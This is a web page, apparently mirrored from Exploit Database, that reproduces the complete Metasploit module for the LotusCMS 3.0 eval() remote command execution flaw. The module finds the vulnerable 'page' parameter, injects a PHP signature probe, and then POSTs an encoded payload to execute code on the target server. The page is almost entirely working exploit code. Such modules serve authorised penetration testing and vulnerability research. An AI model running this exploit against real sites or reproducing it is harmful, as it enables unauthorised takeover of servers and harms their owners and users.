LotusCMS 3.0 – ‘eval()’ Remote Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-03-07
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18565/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Auxiliary::WmapScanUniqueQuery
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',
  			'Description'=> %q{
  					This module exploits a vulnerability found in Lotus CMS 3.0's Router()
  				function.This is done by embedding PHP code in the 'page' parameter,
  				which will be passed to a eval call, therefore allowing remote code execution.
  
  					The module can either automatically pick up a 'page' parameter from the
  				default page, or manually specify one in the URI option.To use the automatic
  				method, please supply the URI with just a directory path, for example: "/lcms/".
  				To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Alligator Security Team',
  					'dflah_ <dflah_[at]alligatorteam.org>',
  					'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
  					'sinn3r'#Metasploit-fu
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '75095' ],
  					[ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
  					'DisableNops' => true,
  					'BadChars'=> "#",
  					'Keys'=> ['php']
  				},
  			'Platform'=> [ 'php' ],
  			'Arch'=> ARCH_PHP,
  			'Targets' => [[ 'Automatic LotusCMS 3.0', { }]],
  			'Privileged'=> false,
  			'DisclosureDate'=> 'Mar 3 2011',
  			'DefaultTarget' => 0))
  
  		register_options(
  		[
  			OptString.new('URI', [true, 'URI', '/lcms/']),
  			Opt::RPORT(80),
  		], self.class)
  	end
  
  	def target_url
  		uri = datastore['URI']
  
  		# Make sure uri begins with '/'
  		if uri[0] != '/'
  			uri = '/' + uri
  		end
  
  		# Extract two things:
  		# 1. The file path (/index.php), including the base
  		# 2. GET parameters from the GET query
  		uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
  		base= (uri[0] || "") + '/'
  		fname = uri[1] || ""
  		query = uri[2] || ""
  		params = queryparse(query) rescue ""
  
  		# Use the user-supplied query if there's one, if not we'll auto-detect
  		# by regexing a hyper-link
  		if base.empty? or fname.empty? or params.empty?
  			res = send_request_cgi({
  				'method' => 'GET',
  				'uri'=> datastore['URI']
  			}, 20)
  
  			if res and res.code == 200
  				uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
  				@uri = base + uri[0]
  				@arg = uri[1]
  				print_status("Using found page param: #{@uri}?#{@arg}")
  			else
  				@uri = ""
  				@arg = ""
  			end
  		else
  			@uri = base + fname
  			@arg = "page=#{params['page']}"
  		end
  	end
  
  	def check
  		target_url
  		if @uri.empty? or @arg.empty?
  			print_error("Unable to get the page parameter, please reconfigure URI")
  			return
  		end
  
  		signature = rand_text_alpha(rand(10)+10)
  		stub = "${print('#{signature}')};"
  		sploit = "');#{stub}#"
  		response = send_request_cgi(
  		{
  			'method'=> 'POST',
  			'uri' =>@uri,
  			'data' => @arg + Rex::Text.uri_encode(sploit)
  		}, 20)
  
  		if response and response.body =~ /#{signature}/
  			print_status("Signature: #{signature}")
  			return Exploit::CheckCode::Vulnerable
  		else
  			print_error("Signature was not detected")
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def exploit
  		return if not check == Exploit::CheckCode::Vulnerable
  
  		begin
  			sploit = "');#{payload.encoded}#"
  			print_status("Sending exploit ...")
  			res = send_request_cgi(
  			{
  				'method'=> 'POST',
  				'uri' =>@uri,
  				'data' => @arg + Rex::Text.uri_encode(sploit)
  			}, 20)
  			handler
  		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  		rescue ::Timeout::Error, ::Errno::EPIPE
  		end
  	end
  
  end